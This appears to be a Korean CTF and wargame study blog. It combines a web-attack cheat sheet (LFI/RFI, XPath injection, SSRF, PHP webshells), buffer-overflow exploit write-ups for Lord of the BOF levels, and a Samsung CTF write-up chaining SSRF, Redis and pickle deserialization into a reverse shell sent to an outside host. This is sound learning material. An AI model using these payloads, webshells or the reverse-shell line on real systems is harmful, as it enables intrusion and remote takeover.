* 유용한 command

curl 'url' -H 'header: header' --data 'data=data'


* LFI & RFI

http://test/?page=php://filter/convert.base64-encode/resource=index.php

http://test/?page=php://filter/convert.base64-decode/resource=./upload/abcde

http://test/?page=data://text/plain,%3Cxmp%3E%3C?php%20system($_GET[%27x%27]);&x=ls%20-al

http://test/?page=http://pastebin.com/raw/abcd/?&x=ls%20-al


* Xpath Injection

' or substring(name(parent::*[position()=1]),1,1)='u

' or substring(name(//node()[position()=6]),1,1)='f

' or substring(//flag_fcad489d[position()=1],1,1)='f


* SSRF

https://127.0.0.2%0d%0aHELO 127.0.0.2%0aMAIL FROM: <A@B.C>%0aRCPT TO: <zairo@ruu.kr>%0aDATA%0aFROM: AAA@B.C%0aTO: zairo@ruu.kr%0aSUBJECT: give me the flag%0d%0a.%0d%0a%0aQUIT%0a:25/


bypass etc...

- 다양한 IP 우회 방법

http://127.0.0.1    =>    http://2130706433/

http://127.0.0.1    =>    http://0x7f000001/

http://127.0.0.1    =>    http://0x7f.0x00.0x00.0x01

http://127.0.0.1    =>    http://017700000001/

http://127.0.0.1    =>    http://0177.000.000.01/

http://127.0.0.1    =>    http://0/


* webshell

- non-alpha webshell

<?=$_='$<>/'^'{{{{';${$_}[_](${$_}[__]);

// $_= '$<>/' ^ '{{{{' ----> $_ = '_GET'
// ${_GET}[_](${_GET})[__];
// final <?=$_GET[_]($_GET[__])
// webshell.php?_=system&__=ls -al
// reference : https://ctftime.org/writeup/10429


<?=`{${~"����"}[_]}`;
// echo -ne '<?=`{${~"\xa0\xb8\xba\xab"}[_]}`;'
// ?_=ls -al
// reference : https://ctftime.org/writeup/10429


<?=`/???/??? ../*`;
// 19 bytes (cat all files from ../)
// reference : https://ctftime.org/writeup/10429


'TipNote > Web Tip' 카테고리의 다른 글

WEB Tip  (0) 2018.07.18
SQL INJECTION  (0) 2015.11.25

Fedora Core 10 - Challenge [titan -> balog


[Summary]

1. ecx 레지스터에 1byte를 0x00(null)로 덮어써 이미 저장되어 있는 값을 이용한다.

2. ret sled를 이용하여 buffer의 어느 부분을 esp 레지스터가 가르키더라도 buffer 마지막 4바이트의 명령을 실행하도록 한다.

3. esp를 증가하는 어셈블리 명령을 이용하여 esp 레지스터 주소를 환경변수를 가리키도록 변조할 수 있다.


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- balog
	- Local BOF on Fedora Core 10 
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
        char buffer[256];
        if(argc != 2)
        {
                printf("argc Error!!\n");
                exit(-1);
        }

        // overflow!!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        return 0; 
}


[Analysis] 

먼저, 이번 문제부터는 프롤로그와 에필로그가 조금 달라진 것을 확인할 수 있다. Buffer overflow를 통해 ecx 레지스터를 변조할 수 있다고 하더라도 ret를 실행하기 직전에 esp를 ecx-0x4의 주소로 바꿔버리므로 eip 레지스터를 바꾸기 힘들어진다. 왜냐면 ASLR 상태에서 스택 주소가 계속 바뀌므로 정확한 주소로 변조가 어렵기 때문이다.  


이 문제의 경우 ecx 레지스터를 전체적으로 변조하기기 보다는 1바이트만 \x00으로 바꾸어 원래 ecx에 저장되어 있는 값을 이용하여야 한다. 따라서 buffer의 크기가 256이므로 임의로 256사이즈를 딱 맞춰줌으로써 문자열의 끝을 나타내는 \x00가 ecx 레지스터에 저장되는 값의 1바이트를 \x00 (null)으로 변조하게 된다.

ecx 레지스터에 들어가는 값의 1바이트를 00으로 변조할 경우, ret 명령이 실행될 때 esp가 buffer의 어느 지점을 가리키고 있을 것이다. 여기에서 ROP를 할 수 있겠지만, null을 사용할 수 없어 exploit이 매우 힘들다. 따라서 null을 사용할 수 있도록 다른 방법을 쓰는데 buffer에 ret sled를 통해 마지막 4바이트에서 main+112의 add esp, 0x114 명령을 수행하도록 하여 environ 영역으로 esp 레지스터를 변조할 수 있다. 이후 환경변수을 이용해서 execl 함수를 실행하면 된다.


[Exploit]

#include <stdio.h>
#include <stdlib.h>

int main(){
	char *environ[] = {
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"A\xc0\xca\xa3",	// 0xa3cac0 <execl>
		"AAA",
		"\xba\xcd\xad",	// 0xadcdba "sh"
		"\xba\xcd\xad",	// 0xadcdba "sh"
		"\x00",
		"\x00",
		"\x00",
		"\x00",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		0
	};
	
	// ret	=>	0x0804848f
	// main+112	=>	0x08048484
	// argv_payload	=>	ret * ((256-4)/4) + main_112
	char *argv[] = {"./balog", "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x84\x84\x04\x08", 0};
	execve("./balog", argv, environ);
}


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  

'Challenge > Fedora Core 10' 카테고리의 다른 글

Fedora Core 4 - Challenge [titan -> balog]  (0) 2018.07.16
필터링이 되지 않는 소스코드 내부의 다른 변수들을 이용하면 쉽게 문제를 해결할 수 있다.

in python3.6
>> FLAG = "THISISFLAG"
>> GUESS = "T"
>> print (f"{1 if GUESS in FLAG else 0}");
1
>> FLAG = "THISISFLAG"
>> GUESS = "B"
>> print (f"{1 if GUESS in FLAG else 0}");
0


'TipNote > CTF Tip' 카테고리의 다른 글

Python Jailbreak 팁  (0) 2018.07.16

모의해킹 할 때 가끔 다수의 도메인 각각의 아이피를 파악해야 하므로 이를 python을 이용하여 가져오는 툴을 만들었다.


import dns.resolver
import re

with open('output.txt', 'wb') as output:
	with open('domain.txt', 'rb') as f:
		for line in f.readlines():
			domain = line.strip()
			r = dns.resolver.Resolver()
			r.nameservers = ['8.8.8.8']
			ip_list = []
			try:
				dns.resolver.query(domain)
				for answer in dns.resolver.query(domain).response.answer:
					for ip in re.findall("\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}", str(answer)):
						if ip not in ip_list:
							ip_list.append(ip)
							message = ' / '.join(sorted(ip_list))
			except Exception as ex:
				if 'None of DNS query names exist' in str(ex):
					message = 'None'
				else:
					message = 'Error!'
			
			output.write("{}\t=>\t{}\n".format(domain, message))

print "[*] done! check ./output.txt"


'TipNote > Tools' 카테고리의 다른 글

도메인을 통해 아이피 가져오는 툴  (0) 2018.07.11

* 매개변수를 접근할 땐 ebp를 기준으로 접근한다. (ebp를 변경가능하면 매개변수 컨트롤 가능)


* leave ret

leave : mov esp, ebp; pop ebp

ret : pop eip; jmp eip


* gdb

- info reg : 레지스터 정보 보는 명령어

- info proc mapping : 메모리 맵핑 정보를 보는 명령어

- info proc exe 하면 pid가 나오는데 shell cat /proc/{pid}/maps를 입력하면 메모리 맵핑 정보와 rwx 권한을 볼 수 있음


* ldd : 라이브러리 의존성 확인 명령어

$ ldd ./binary | grep libc

libc.so.6 => /lib/libc.so.6 (0x40018000)


* nm : 오브젝트 파일에 포함되어 있는 심볼 리스트 출력 명령어

$ nm /lib/libc.so.6 | grep __execve

00091d48 t __execve


* ROP 가젯 찾기

objdump -s binary | grep c0 --color=auto

objdump -d binary | grep ret -B 3 --color=auto


* gdb ASLR 옵션 끄기

show disable-randomization

set disable-randomization off

'TipNote > Pwnable Tip' 카테고리의 다른 글

Pwnable 팁  (0) 2018.07.11
[Pwnable] Format String Bug 팁들  (3) 2017.07.23

 

 

 

 

 

Fedora Core 4 - Challenge

ALL CLEAR!

 

 

 

 


Fedora Core 4 - Challenge [enigma -> titan


[Summary]

1. main 함수에 존재하는 fgets 함수 실행 전의 add esp, ?의 어셈블리어를 이용하여 esp 레지스터 값을 증가시킬 수 있다.   

2. fgets 함수를 시작하기 전에 돌아갈 주소를 스택에 저장하는데, fgets 함수에서 이 주소를 다른 값으로 원하는 값으로 변조할 수 있다. 


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF
	- titan
	- Remote BOF on Fedora Core 4
	- hint : ? 
	- port : TCP 8888
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

static char buffer[40];
static void (*ftn)();

void print()
{
	printf("nothing here\n");
	fflush(stdout);
}

int main()
{
	char buf[48];
	ftn = print;

	printf("titan : What a tragic mistake.\n");
	printf("you : ");
	fflush(stdout);

	// give me a food
	fgets(buf,48,stdin);

	// buffer overflow!!
	strcpy(buffer,buf);

	// preventing RTL
	if(((int)ftn & 0xff000000) == 0)
	{
		printf("I've an allergy to NULL");
		exit(1);
	}

	// clearing buffer
	memset(buffer, 0, 40);

	ftn();
}


[Analysis] 

main 함수에서 fgets 함수를 call하는 어셈블리어보다 먼저 있는 어셈블리어 중 add esp, ? 명령을 반복하여 실행하여 esp 레지스터의 주소를 증가시킬 수 있다. fgets 함수가 stdin으로 입력된 값을 [ebp-52]의 주소에 48바이트 만큼 복사하는데 지속하여 esp 레지스터 주소를 증가시킨다면, 언제가는 [ebp-52]에서 48 바이트만큼의 범위 안에 fgets 함수를 실행하기 전에 다시 돌아갈 주소를 저장해 둔 영역이 포함된다. 따라서 eip 레지스터를 변조할 수 있게 되고 system 함수를 실행하여 임의 명령을 실행할 수 있게 된다.


[Exploit]

import time
from pwn import *

context(arch='x86', os='linux', endian='little')

p = remote("192.168.0.131", 8888)

gadget = 0x08048529
system = 0x7db0e7
binsh = 0x8bd987

# stage 1

payload = "A" * 40
payload += p32(gadget)
payload += "A" * 4
p.sendline(payload)


# stage 2

payload = "A" * 40
payload += p32(gadget)
payload += "A" * 4
p.sendline(payload)


# stage 3

payload = "A" * 8
payload += p32(system)
payload += "A" * 4
payload += p32(binsh)
payload += "A" * 20
payload += p32(gadget)
payload += "A" * 4
p.sendline(payload)

p.interactive()


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  



예선때 풀려고 그렇게 삽질을 했지만, 결국 예선이 끝나고 WebCached 문제를 풀게 되었다.

일단 본론부터 적자면 SSRF(Server Side Request Forgery) 문제다. SSRF 인 것을 확인하고 https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf의 SSRF 쿼리를 날려보다가 잘 안되서 예선 때 풀지 못하였지만, 예선이 끝나고 푼 후 해당 문제의 풀이 과정을 작성한다.



먼저 페이지에 접속하면 위와 같이 url을 입력하는 입력 창이 나온다. 입력 창에 url을 입력하면 서버에서 해당 url에 요청을 하여 나온 값을 전달해 줄 것이다.



위와 같이 file:///etc/passwd를 입력하자 시스템 로컬에 존재하는 /etc/passwd의 내용을 반환하여 준다. 이를 이용하여 시스템 내부에 존재하는 파일을 가져올 수 있다.


 

보통 이런 시스템 내부에 존재하는 파일을 가져올 수 있는 파일 다운로드 취약점이 발견될 경우, 해당 어플리케이션의 실행 정보를 살펴보기 위해 /proc/self/ 하위에 존재하는 environ, cmdline을 요청한다. /proc/self/environ 파일은 권한 문제로 인해 다운로드가 불가능 하였고, /proc/self/cmdline 파일을 통해 현재 실행되고 있는 어플리케이션의 실행 명령문을 알 수 있었다. uwsgi 명령에 /tmp/uwsgi.ini 설정파일을 옵션으로 주고 실행하였으므로 해당 설정파일을 요청하여 설정 값을 알 수 있다.



/tmp/uwsgi.ini 파일을 살펴보면, chdir 옵션과 module 옵션이 설정되어 있다. chdir은 경로를 나타내는 것이고 module은 실행 파일명을 나타내는 것으로 결국 /app/run.py가 현재 실행되고 있는 웹 어플리케이션 소스코드 임을 알 수 있다.



/app/run.py를 다운로드 하여 현재 실행되고 있는 웹 어플리케이션에 대한 보다 세부적인 내용을 분석할 수 있게 되었다. 소스코드 상단에 from session_interface import RedisSessionInterface가 있는데 session_interface.py 또한 해당 경로에 존재하는 듯 하다. /app/session_interface.py 도 요청하여 다운로드 한다.



아래는 위의 공격을 통해 추출한 웹 어플리케이션의 소스코드 이다.


# /app/run.py

#!/usr/bin/env python2
from redis import Redis
from flask import Flask, request, render_template
from flask import session, redirect, url_for, abort
from session_interface import RedisSessionInterface
import socket
import urllib


r = Redis()
app = Flask(__name__)
app.session_interface = RedisSessionInterface()
timeout = socket.getdefaulttimeout()


def cached(url):
    key = '{}:{}'.format(request.remote_addr, url)
    resp = r.get(key)
    if resp is None:
        resp = load_cache(url)
        r.setex(key, resp, 3)
    return resp


def load_cache(url):
    def get(url):
        return urllib.urlopen(url).read()
    socket.setdefaulttimeout(0.5)
    try:
        resp = get(url)
    except socket.timeout:
        resp = '{} may be dead...'.format(url)
    except Exception as e:
        resp = str(e)
    socket.setdefaulttimeout(timeout)
    return resp


@app.route('/view')
def view():
    url = session.get('url', None)
    if url is not None:
        session.pop('url')
        return cached(url)
    else:
        return redirect(url_for('main'))


@app.route('/', methods=['GET', 'POST'])
def main():
    if request.method == 'GET':
        return render_template('main.html')
    else:
        url = request.form.get('url', None) or abort(404)
        session['url'] = url
        return redirect(url_for('view'))


if __name__ == '__main__':
    app.run(port=12000, host='0.0.0.0', debug=True)


# /app/session_interface.py

# Server-side Sessions with Redis
# http://flask.pocoo.org/snippets/75/
import base64
import pickle
from datetime import timedelta
from uuid import uuid4
from redis import Redis
from werkzeug.datastructures import CallbackDict
from flask.sessions import SessionInterface, SessionMixin


class RedisSession(CallbackDict, SessionMixin):
    def __init__(self, initial=None, sid=None, new=False):
        def on_update(self):
            self.modified = True
        CallbackDict.__init__(self, initial, on_update)
        self.sid = sid
        self.new = new
        self.modified = False


class RedisSessionInterface(SessionInterface):
    serializer = pickle
    session_class = RedisSession

    def __init__(self, redis=None, prefix='session:'):
        if redis is None:
            redis = Redis()
        self.redis = redis
        self.prefix = prefix

    def generate_sid(self):
        return str(uuid4())

    def get_redis_expiration_time(self, app, session):
        if session.permanent:
            return app.permanent_session_lifetime
        return timedelta(days=1)

    def open_session(self, app, request):
        sid = request.cookies.get(app.session_cookie_name)
        if not sid:
            sid = self.generate_sid()
            return self.session_class(sid=sid, new=True)
        val = self.redis.get(self.prefix + sid)
        if val is not None:
            val = base64.b64decode(val)
            data = self.serializer.loads(val)
            return self.session_class(data, sid=sid)
        return self.session_class(sid=sid, new=True)

    def save_session(self, app, session, response):
        domain = self.get_cookie_domain(app)
        if not session:
            self.redis.delete(self.prefix + session.sid)
            if session.modified:
                response.delete_cookie(app.session_cookie_name,
                                       domain=domain)
            return
        redis_exp = self.get_redis_expiration_time(app, session)
        cookie_exp = self.get_expiration_time(app, session)
        val = base64.b64encode(self.serializer.dumps(dict(session)))
        self.redis.setex(self.prefix + session.sid, val,
                         int(redis_exp.total_seconds()))
        response.set_cookie(app.session_cookie_name, session.sid,
                            expires=cookie_exp, httponly=True,
                            domain=domain)


/app/run.py 와 /app/session_interface.py 소스코드를 분석해보면, /app/session_interface.py의 48행에서 data = self.serializer.loads(val) 부분이 취약한 것을 알 수 있다. 해당 취약점은 pickle 모듈의 load_reduce 함수의 value = func(*args)에서 발생한다. 아래 소스코드와 같은 경우 python pickle 모듈에서 RCE를 할 수 있다.


import pickle
import os

class exploit(object):
	def __reduce__(self):
		return (os.system, ('id',))
		
pd = pickle.dumps(exploit())
pickle.loads(pd)


위와 같이 pickle 모듈을 이용하여 임의의 명령을 실행할 수 있다. 하지만 소스코드 상의 기능만으로  /app/session_interface.py의 48행의 data = self.serializer.loads(val) 부분에서 취약점이 발생하도록 val 값을 설정해 줄 수는 없다. /app/run.py의 27행인 urllib.urlopen(url).read()에서 발생하는 SSRF 취약점을 이용하여 로컬에 존재하는 redis 서버로 query를 보내 val 값을 조작한 후 data = self.serializer.loads(val) 부분에서 pickle 취약점이 발생하도록 하여야 한다. 


일반적으로 알려진 공격 방법대로 SSRF가 되지 않아 python의 urllib 와 httplib 라이브러리를 직접 분석해보았다. 서버에 존재하는 /usr/lib/python2.7/httplib.py 파일을 다운로드 하여 분석하였다. urllib.urlopen(url).read()을 실행할 때, \r\n을 입력하게 되면 ValueError: Invalid header value '127.0.0.1\r\n:6379' 와 같이 에러가 발생하는데, 이 부분은 /usr/lib/python2.7/httplib.py 파일 내부의 putheader 함수 내부에서 발생한다.


    def putheader(self, header, *values):
        """Send a request header line to the server.

        For example: h.putheader('Accept', 'text/html')
        """
        if self.__state != _CS_REQ_STARTED:
            raise CannotSendHeader()

        header = '%s' % header
        if not _is_legal_header_name(header):
            raise ValueError('Invalid header name %r' % (header,))

        values = [str(v) for v in values]
        for one_value in values:
            if _is_illegal_header_value(one_value):
                raise ValueError('Invalid header value %r' % (one_value,))

        hdr = '%s: %s' % (header, '\r\n\t'.join(values))
        self._output(hdr)


putheader 함수의 15행에서 if문을 만족하여 발생하는 에러이다. 소스코드의 247~248행을 살펴보면 _is_illegal_header_value에 정규표현식이 존재한다.


_is_legal_header_name = re.compile(r'\A[^:\s][^:\r\n]*\Z').match
_is_illegal_header_value = re.compile(r'\n(?![ \t])|\r(?![ \t\n])').search


_is_illegal_header_value 정규표현식을 살펴보면 \r 다음에 \t나 \n이 아닌 경우에 true를 반환하고, \n 다음에 띄어쓰기나 \t가 아닌 경우에 true를 반환한다. 따라서 이 두 가지 조건에 모두 걸리지 않으려면 \r\n(공백)을 하게 되면 해당 정규표현식에 걸리지 않고 bypass 되는 것을 확인할 수 있다. 결론적으로 해당 정규표현식에 걸리지 않고 SSRF를 정상적으로 수행하려면 "http://127.0.0.1\r\n HELLO\r\n :1234"와 같이 \r\n 다음에 띄어쓰기를 포함하여 요청하여야 한다.


redis 서버의 포트가 6379이고, /app/session_interface.py의 45행에서 세션이 redis에 "session:~"라는 key로 저장되는 것을 확인할 수 있다. 따라서 redis 서버로 set session:zairo (pickle RCE base64) 형식의 쿼리를 전송하게 되면 session:zairo key에 (pickle RCE base64) 데이터가 저장될 것이다. 이어 session id에 zairo를 입력하고 /view 페이지를 요청하면 /app/run.py의 41행에서 session의 값을 참조하므로 /app/session_interface.py의 open_session 함수가 실행될 것이고,  session:zairo key의 데이터를 불러와 48행의 data = self.serializer.loads(val)를 실행하게 되므로 해당 부분에서 RCE 취약점이 발생하게 된다. 따라서 이 모든 것을 종합한 URL은 "http://0\r\n set "session:zairo" (pickle RCE base64)\r\n :6379/" 이다.  


# exploit.py

import requests
import base64
import pickle
import os

class pickle_rce(object):
	def __reduce__(self):
		return (os.system, ('rm /tmp/zairo;mkfifo /tmp/zairo;cat /tmp/zairo|/bin/sh -i 2>&1|nc zairo.kr 1234 >/tmp/zairo',))

def send_payload(r, payload):
	res = r.post('http://webcached.eatpwnnosleep.com/',data={'url': payload,'action' : ''})
	#print res.text
	
def exploit(r):
	res = r.get('http://webcached.eatpwnnosleep.com/view', headers={'Cookie': 'session=zairo;'})
	#print res.text

r = requests.Session()
pd = pickle.dumps(pickle_rce())
send_payload(r, "http://0\r\n set \"session:zairo\" "+base64.b64encode(pd)+"\r\n :6379/")
exploit(r)


지금까지 풀었던 pickle을 이용한 문제는 의도적으로 취약점을 만들어 낸 느낌이었다면, 이번 문제는 http://flask.pocoo.org/snippets/75/에 /app/session_interface.py와 거의 유사한 소스코드가 존재하고 실제 사이트에서도 발생 가능한 취약점이라 재미있고 유익한 문제였던 것 같다.


[추가]

대회땐 보지 못했는데 https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf 59~60 페이지에 제가 분석했던 내용이 있네요. 예선땐 정신이 없어 내용을 자세히 보지 않고 위에 있는거만 시도해본 것 같습니다. ㅠㅠ

관련 내용 첨부합니다.

출처 : https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf 

'CTF > 2018 Samsung CTF Quals' 카테고리의 다른 글

[2018 Samsung CTF Writeup] WebCached  (4) 2018.07.03
  1. 2018.07.03 01:12

    비밀댓글입니다

    • 2018.07.03 02:46

      비밀댓글입니다

  2. 2018.07.03 03:16

    비밀댓글입니다

  3. front 2018.07.03 16:53

    본선 화이팅~

Fedora Core 4 - Challenge [cruel -> enigma


[Summary]

1. fedora core 4 부터는 stdin의 주소가 랜덤으로 변경 된다. 하지만 gdb를 통해 몇 번 실행시켜보면 0xb7f3f000, 0xb7fe6000, 0xb7fe7000와 같이 특정 오프셋의 문자열만 변경되는 것을 확인할 수 있다. 

2. fake ebp를 이용하여 stdin buffer의 주소로 esp 레지스터를 변경하여 pop ebp, pop eip, jmp eip를 실행하여 null이 포함되어 있는 라이브러리를 실행할 수 있다. 이후에 mprotect 함수를 실행하여 stdin buffer의 값에 실행 권한을 주고 해당 주소로 jmp 하여 쉘코드를 실행하여 쉘을 획득할 수 있다.


[Sourcecode]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - enigma
        - Remote BOF on Fedora Core 4
        - hint : ? 
        - port : TCP 7777
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int vuln(int canary,char *ptr)
{
	char buffer[256];
	int *ret;
        
	// stack overflow!!
	strcpy(buffer,ptr); 

	// overflow protected
	if(canary != 0x31337)
	{
		printf("who broke my canary?!");
		exit(1);
	}

	// preventing RTL
	ret = &canary - 1;
	if((*ret & 0xff000000) == 0) 
	{
		printf("I've an allergy to NULL");
		exit(1);
	}

	// clearing attack buffer
	memset(ptr, 0, 1024);

	return 0;
}

int main()
{
	char buffer[1024];

	printf("enigma : The brothers will be glad to have you!\n");
	printf("you : ");
	fflush(stdout);

	// give me a food!
	fgets(buffer, 1024, stdin);

	// oops~!
	vuln(0x31337, buffer);
	
	// bye bye
	exit(0);
}


[Analysis] 

해당 문제에서는 canary가 나온다. canary가 ret 뒷 부분에 위치하고 값 또한 0x31337 이므로, null이 포함되어 있어 20행의 strcpy 함수를 실행하면 canary 부분까지만 복사하게 되므로 payload가 canary에서 짤리게 된다. 하지만 fgets 같은 함수는 stdin buffer에 null을 포함한 payload가 모두 남아 있는데 이를 이용하면 된다.

leave 명령을 다시 한번 더 실행하여 esp 레지스터를 변조할 수 있고, 이어 ebp에 특정 값을 넣을 수 있다. 또한 ret를 실행함으로써 esp 레지스터 주소에 있는 값으로 이동할 수 있다. 따라서 fake ebp 기법을 이용하여 stdin에 특정 메모리 영역에 있는 값을 실행할 수 있다. 이어 mprotect를 실행하여 메모리 특정 영역에 실행권한을 주고 해당 영역으로 jmp를 수행하면 쉘코드를 실행할 수 있다.

이 문제에서 변수는 stdin buffer의 주소가 유동적이라는 건데 0x00~0xff 범위이므로 브루트 포싱을 사용하여 문제를 해결할 수 있다.


[Exploit]

import time
from pwn import *

cnt = 0

while True:
	cnt += 1
	log.info("count : %d" % cnt)
	context(arch='i386',os='linux')

	p = remote("192.168.0.131", 7777)

	shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
	
	canary = 0x31337
	leave_ret = 0x0804858e
	stdin = 0xb7f5e000
	mprotect = 0x86d240

	payload = "\x90" * (260 - len(shellcode)) + shellcode
	payload += p32(stdin + 268)
	payload += p32(leave_ret)
	payload += p32(canary) 
	payload += p32(mprotect)
	payload += p32(stdin)
	payload += p32(stdin)
	payload += p32(1024)
	payload += p32(7)

	if __name__ == '__main__':
		p.sendline(payload)
		time.sleep(0.1)
		p.sendline('id')
		time.sleep(0.1)
		if "uid=" in p.recv(1024):
			log.info("Success!!")
			p.interactive()
		else:
			p.close()


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  


Fedora Core 4 - Challenge [dark_stone -> cruel


[Summary]

1. ret sled를 이용하여 스택에 존재하는 바뀌지 않는 값을 인자로 이용한다.  쉘을 실행하는 역할의 스택에 존재하는 값의 파일명을 생성하여 해당 파일을 실행하여 쉘을 획득할 수 있다.


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- cruel
	- Local BOF on Fedora Core 4
	- hint : no more fake ebp, RET sleding on random library
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
    char buffer[256];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


[Analysis] 

main 함수의 ret 명령인 main+109에 break point를 걸고 프로그램을 실행시킨 후 스택을 살펴보았다. RET에 main+109 주소를 넣고 ret sled를 이용하여 stack을 쭉 타고 미끄러질 수 있는데 인자로 적합한 값이 나오면 ret sled를 멈추고 execl을 실행하면 된다. 스택을 살펴보면 0x008caff4의 주소가 인자로 적합해 보이는데 이를 인자로 넣고 실행하기 위해서는 ret sled를 이용하여 execl 함수 주소를 현재 RET 주소보다 28 바이트 뒤로 이동해야 한다. 28 바이트 뒤에 execl 함수의 주소를 입력하고, 심볼릭 링크를 이용하여 파일명을 \x3c\xad\x8c로 생성하면 execl이 해당 파일을 실행하므로 결론적으로 쉘을 획득할 수 있다.


[Exploit]

import os
from struct import * 

p = lambda x : pack("<L", x)

ret = 0x08048451
execl = 0x832d68

payload = 'A'*260 		# dummy
payload += p(ret) * 7	# ret sleding
payload += p(execl) 	# execl

target = 'cruel'

os.execv(target, (target, payload[:-1]))


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  

+ Recent posts